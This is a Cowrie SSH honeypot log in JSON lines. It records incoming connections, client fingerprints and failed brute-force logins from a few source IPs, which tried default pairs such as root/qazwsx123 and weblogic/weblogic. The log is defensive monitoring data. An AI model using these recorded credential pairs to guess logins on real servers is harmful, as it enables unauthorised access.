{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:21.055664Z","src_ip":"176.65.139.95","session":"4e1aaa5408d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:22.170554Z","src_ip":"176.65.139.95","session":"4e1aaa5408d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":40696,"dst_ip":"159.203.135.109","dst_port":22,"session":"6581406e94ee","protocol":"ssh","message":"New connection: 80.94.92.186:40696 (159.203.135.109:22) [session: 6581406e94ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:24.717565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:24.721957Z","src_ip":"80.94.92.186","session":"6581406e94ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:24.830077Z","src_ip":"80.94.92.186","session":"6581406e94ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:25.302470Z","src_ip":"80.94.92.186","session":"6581406e94ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:26.588217Z","src_ip":"80.94.92.186","session":"6581406e94ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":50756,"dst_ip":"159.203.135.109","dst_port":22,"session":"716e33ff9647","protocol":"ssh","message":"New connection: 176.65.139.95:50756 (159.203.135.109:22) [session: 716e33ff9647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:27.413683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:27.498574Z","src_ip":"176.65.139.95","session":"716e33ff9647","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:27.502478Z","src_ip":"176.65.139.95","session":"716e33ff9647","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:28.101675Z","src_ip":"176.65.139.95","session":"716e33ff9647","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:29.186196Z","src_ip":"176.65.139.95","session":"716e33ff9647","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38626,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6c3c80425aa","protocol":"ssh","message":"New connection: 176.65.139.95:38626 (159.203.135.109:22) [session: d6c3c80425aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:34.257342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:34.264914Z","src_ip":"176.65.139.95","session":"d6c3c80425aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:34.352965Z","src_ip":"176.65.139.95","session":"d6c3c80425aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:34.739180Z","src_ip":"176.65.139.95","session":"d6c3c80425aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:35.868679Z","src_ip":"176.65.139.95","session":"d6c3c80425aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38754,"dst_ip":"159.203.135.109","dst_port":22,"session":"3505b8275078","protocol":"ssh","message":"New connection: 159.203.92.129:38754 (159.203.135.109:22) [session: 3505b8275078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:38.408330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:38.412686Z","src_ip":"159.203.92.129","session":"3505b8275078","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:38.418756Z","src_ip":"159.203.92.129","session":"3505b8275078","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"LiLin","password":"123","message":"login attempt [LiLin/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:38.428081Z","src_ip":"159.203.92.129","session":"3505b8275078","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:39.442836Z","src_ip":"159.203.92.129","session":"3505b8275078","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35034,"dst_ip":"159.203.135.109","dst_port":22,"session":"1802c60c843d","protocol":"ssh","message":"New connection: 176.65.139.95:35034 (159.203.135.109:22) [session: 1802c60c843d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:40.155061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:40.163321Z","src_ip":"176.65.139.95","session":"1802c60c843d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:40.255361Z","src_ip":"176.65.139.95","session":"1802c60c843d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:40.504184Z","src_ip":"176.65.139.95","session":"1802c60c843d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:41.591315Z","src_ip":"176.65.139.95","session":"1802c60c843d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35084,"dst_ip":"159.203.135.109","dst_port":22,"session":"f60317471629","protocol":"ssh","message":"New connection: 176.65.139.95:35084 (159.203.135.109:22) [session: f60317471629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:45.990696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:46.008337Z","src_ip":"176.65.139.95","session":"f60317471629","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:46.088988Z","src_ip":"176.65.139.95","session":"f60317471629","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:46.487335Z","src_ip":"176.65.139.95","session":"f60317471629","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:47.584015Z","src_ip":"176.65.139.95","session":"f60317471629","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":35998,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec2d01d8073f","protocol":"ssh","message":"New connection: 176.65.139.95:35998 (159.203.135.109:22) [session: ec2d01d8073f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:51.839344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:51.845235Z","src_ip":"176.65.139.95","session":"ec2d01d8073f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:52.064412Z","src_ip":"176.65.139.95","session":"ec2d01d8073f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:52.393968Z","src_ip":"176.65.139.95","session":"ec2d01d8073f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:53.478526Z","src_ip":"176.65.139.95","session":"ec2d01d8073f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":36004,"dst_ip":"159.203.135.109","dst_port":22,"session":"2629b328e492","protocol":"ssh","message":"New connection: 176.65.139.95:36004 (159.203.135.109:22) [session: 2629b328e492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:57.815629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:57.820446Z","src_ip":"176.65.139.95","session":"2629b328e492","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:57.946429Z","src_ip":"176.65.139.95","session":"2629b328e492","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:58.274111Z","src_ip":"176.65.139.95","session":"2629b328e492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:56:59.393638Z","src_ip":"176.65.139.95","session":"2629b328e492","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":43780,"dst_ip":"159.203.135.109","dst_port":22,"session":"4abfc92f5acc","protocol":"ssh","message":"New connection: 176.65.139.95:43780 (159.203.135.109:22) [session: 4abfc92f5acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:57:03.648510Z"}
